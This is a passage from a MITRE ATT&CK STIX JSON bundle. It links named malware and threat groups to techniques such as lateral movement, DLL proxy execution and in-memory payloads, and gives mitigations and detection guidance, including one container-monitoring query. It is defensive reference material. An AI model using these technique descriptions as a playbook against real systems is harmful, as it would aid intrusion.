2015)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d6d88c3-dbfe-492a-8c4c-ee4bfc10bdc3","type":"relationship","created":"2019-06-21T13:58:04.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T12:11:17.022Z","description":"Close all browser sessions regularly and when they are no longer needed.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d75c103-c7d8-44cd-afb6-f36f763c031f","type":"relationship","created":"2021-08-24T20:03:36.001Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Kobalos Feb 2021","url":"https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/","description":"M.Leveille, M., Sanmillan, I. (2021, February 2). Kobalos – A complex Linux threat to high performance computing infrastructure. Retrieved August 24, 2021."},{"source_name":"ESET Kobalos Jan 2021","description":"M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. Retrieved August 24, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"}],"modified":"2021-10-18T23:21:30.346Z","description":"[Kobalos](https://attack.mitre.org/software/S0641)'s post-authentication communication channel uses a 32-byte-long password with RC4 for inbound and outbound traffic.(Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021) ","relationship_type":"uses","source_ref":"malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d761618-146f-4219-9b50-a4ceca6b2210","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","source_name":"FireEye APT37 Feb 2018"},{"source_name":"Unit 42 Nokki Oct 2018","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."}],"modified":"2020-03-16T16:43:12.115Z","description":"[DOGCALL](https://attack.mitre.org/software/S0213) is capable of capturing screenshots of the victim's machine.(Citation: FireEye APT37 Feb 2018)(Citation: Unit 42 Nokki Oct 2018)","relationship_type":"uses","source_ref":"malware--0852567d-7958-4f4b-8947-4f840ec8d57d","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d788563-901e-4002-a599-826840b00d39","type":"relationship","created":"2019-01-30T18:15:25.540Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html","source_name":"Talos Seduploader Oct 2017"}],"modified":"2020-01-17T22:22:30.735Z","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) uses a .bat file to execute a .dll.(Citation: Talos Seduploader Oct 2017)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d7957af-a314-4e12-bde6-6148e234ff58","type":"relationship","created":"2020-02-11T19:09:48.749Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T19:09:48.749Z","relationship_type":"revoked-by","source_ref":"attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0","target_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d79f82f-6285-4950-afae-c5f8095ee0a1","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d7cd505-3b0e-4e90-bf47-6552612958dc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2019-04-24T23:18:53.242Z","description":"Adversaries can instruct [Duqu](https://attack.mitre.org/software/S0038) to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8d80e239-9a55-4d03-abfe-8522a8b29313","created":"2024-07-25T17:27:19.266Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T17:27:19.266Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) used PowerShell to download and execute remote-hosted files on victim systems.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8d8d6c36-e152-448a-89f7-f500b570b951","created":"2023-08-30T16:36:50.059Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-30T16:36:50.059Z","description":"Monitor executed commands and arguments, such as `nohup`, that may attempt to hide processes from interrupt signals.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--4a2975db-414e-4c0c-bd92-775987514b4b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8d90820b-fd91-4452-aa91-50b783c2da38","created":"2020-03-16T15:17:43.142Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Ebury Feb 2014","description":"M.Léveillé, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.","url":"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"},{"source_name":"ESET Ebury May 2024","description":"Marc-Etienne M.Léveillé. (2024, May 1). Ebury is alive but unseen. Retrieved May 21, 2024.","url":"https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T19:17:56.369Z","description":"[Ebury](https://attack.mitre.org/software/S0377) modifies the `keyutils` library to add malicious behavior to the OpenSSH client and the curl library.(Citation: ESET Ebury Feb 2014)(Citation: ESET Ebury May 2024)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8d918445-6d96-4729-98e7-e01a318647aa","created":"2022-10-04T21:51:00.920Z","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T21:51:00.920Z","description":"(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"campaign--ab747e62-1bcb-479f-a26b-1cd39d413d81","target_ref":"malware--44e2a842-415b-47f4-8549-83fbdb8a5674","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8d94276b-c902-4d7c-ae10-d13e127e5149","created":"2019-04-12T15:20:35.931Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.990Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used DYEPACK to manipulate SWIFT messages en route to a printer.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d976244-6d4e-443a-98c0-52fe1d94c388","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell Lateral Movement","description":"Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.","url":"http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/"},{"source_name":"ThreatStream Evasion Analysis","description":"Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.","url":"https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop"}],"modified":"2020-03-30T18:36:37.860Z","description":"[hcdLoader](https://attack.mitre.org/software/S0071) installs itself as a service for persistence.(Citation: Dell Lateral Movement)(Citation: ThreatStream Evasion Analysis)","relationship_type":"uses","source_ref":"malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8d9f1d6f-2ac8-4346-9810-c0a8582f3e2e","created":"2024-07-25T17:24:04.964Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T17:24:04.964Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) used a renamed version of rundll32.exe, such as \"dbengin.exe\" located in the `ProgramData\\Microsoft\\PlayReady` directory, to proxy malicious DLL execution.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8da08b47-36bd-4d74-91df-6fdae6d1bfff","type":"relationship","created":"2021-03-05T16:01:48.277Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-03-15T17:16:08.907Z","description":"[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) has used FakeTLS for session authentication.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)","relationship_type":"uses","source_ref":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8dacfb46-73ca-4cd0-91a1-11c6285e0fb5","created":"2022-04-14T20:02:10.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T18:54:28.153Z","description":"Track the creation of new processes within a container environment, which could indicate suspicious activity initiated via the Docker daemon or Kubernetes API server.\n\nAnalytic 1 - Unusual process creation within containers\n\nsourcetype=docker:daemon OR sourcetype=kubernetes:container\n| search action=\"start\" OR action=\"exec\"\n","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dad8f08-ade1-4a1b-a8e5-718c94afc585","type":"relationship","created":"2019-06-18T17:20:43.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black JCry May 2019","url":"https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/","description":"Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."}],"modified":"2020-03-17T19:22:41.247Z","description":"[JCry](https://attack.mitre.org/software/S0389) has used VBS scripts. (Citation: Carbon Black JCry May 2019)","relationship_type":"uses","source_ref":"malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8db11ec5-cf4e-413b-a0b6-b6a84753d996","created":"2022-06-15T13:05:44.888Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kevin](https://attack.mitre.org/software/S1020) can delete files created on the victim's machine.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-15T13:05:44.888Z","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8db1b5bd-8f0c-4c13-8667-c83713ce799e","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"},{"source_name":"Securelist WhiteBear Aug 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.","url":"https://securelist.com/introducing-whitebear/81638/"}],"modified":"2020-03-17T01:22:43.722Z","description":"[Gazer](https://attack.mitre.org/software/S0168) can execute a task to download a file.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8db65d27-ddf4-4edd-9ccb-8112a78e9f47","created":"2022-09-26T14:00:59.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T14:01:40.342Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can check `Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings` to extract the `ProxyServer` string.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dbcee86-c9db-4ae3-ba16-29056a8a1593","type":"relationship","created":"2019-06-13T19:12:07.346Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.","url":"http://blog.morphisec.com/security-alert-fin8-is-back","source_name":"Morphisec ShellTea June 2019"}],"modified":"2021-02-09T14:07:11.264Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has used [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts.(Citation: Morphisec ShellTea June 2019)","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8dc0845d-c807-4e30-ac26-086f086b248f","created":"2022-08-15T16:56:09.713Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason StrifeWater Feb 2022","description":"Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.","url":"https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T18:39:32.109Z","description":"[StrifeWater](https://attack.mitre.org/software/S1034) can collect the time zone from the victim's machine.(Citation: Cybereason StrifeWater Feb 2022)","relationship_type":"uses","source_ref":"malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dc7e200-3c90-4611-9bbe-aa90056f423e","type":"relationship","created":"2020-05-26T20:09:39.224Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.612Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has executed custom-compiled XMRIG miner DLLs by configuring them to execute via the \"wercplsupport\" service.(Citation: RedCanary Mockingbird May 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8dc84a69-e2d5-4796-a898-0c41202a273f","created":"2024-07-01T18:03:50.432Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T18:03:50.432Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) has used shell commands to list running processes.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8dc92a18-99e3-47ce-8b63-ad6df5851e31","created":"2024-07-14T21:40:33.613Z","revoked":false,"external_references":[{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-14T21:40:33.613Z","description":"Some versions of [Pikabot](https://attack.mitre.org/software/S1145) build the final PE payload in memory to avoid writing contents to disk on the executing machine.(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8dc9ad2b-acae-4bd1-8c6b-02b0d6bc5c90","created":"2024-07-25T22:30:42.419Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2024","description":"Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T22:30:42.419Z","description":"[Nightdoor](https://attack.mitre.org/software/S1147) embeds code from the public `al-khaser` project, a repository that works to detect virtual machines, sandboxes, and malware analysis environments.(Citation: Symantec Daggerfly 2024)","relationship_type":"uses","source_ref":"malware--51f78dfc-52f9-424e-8753-bb4246188313","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dcf9179-ea86-499b-9624-8627e042bd42","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for direct access read/write attempts using the \\\\\\\\.\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation 